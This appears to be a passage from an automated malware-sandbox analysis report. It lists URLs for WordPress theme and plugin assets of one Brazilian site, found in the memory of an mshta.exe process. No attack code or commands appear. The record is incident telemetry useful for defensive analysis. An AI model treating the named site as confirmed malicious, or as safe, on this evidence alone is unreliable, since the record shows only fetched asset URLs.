Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png0h
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs?ver=1.0=1.0l
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png~h
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0rl
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20.2
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20C:
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20WV
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.pngXo
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2$
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2C:
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2qV
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000002.1168486528.0000000002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165831410.00000000003A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramewo
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000002.1168302707.0000000002C86000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0Nm
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0nl
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css_&
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.cssp
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.csssM
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3%W
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3QW
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.csss
Source: mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png1.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png8
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png=1.0I
Source: mshta.exe, 00000008.00000002.1175277603.000000000528C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngp
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)p
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.42.6.0leme
Source: mshta.exe, 00000008.00000002.1180046658.0000000006802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.09.31.
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0rj
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4er=2.1.0c
Source: mshta.exe, 00000008.00000003.1036123711.0000000003805000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170700641.0000000003806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4http://facextra
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0(
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.00C;
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0=1.0
Source: mshta.exe, 00000008.00000002.1168275161.0000000002C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)l
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.02.6.00
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.09
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.0
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0lK_0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0teCombo;vaUH
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0-US
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0ET4.0C;
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0-
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0.3
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.064
Source: mshta.exe, 00000008.00000003.1036123711.0000000003805000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170700641.0000000003806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0sJ
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2)
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.22W
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2:29:C:
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2=T
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ET4.0E)
Source: mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Pc
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2WI
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1M
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1c
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1~
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0.3
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00E)(
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00eEve
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsC:
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsJl
Source: mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)X
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.01.0
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0GJ
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)?g
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.20
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0XH
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0cumO
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0s
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1043730529.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171490862.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6-US
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6.NET4.0E)
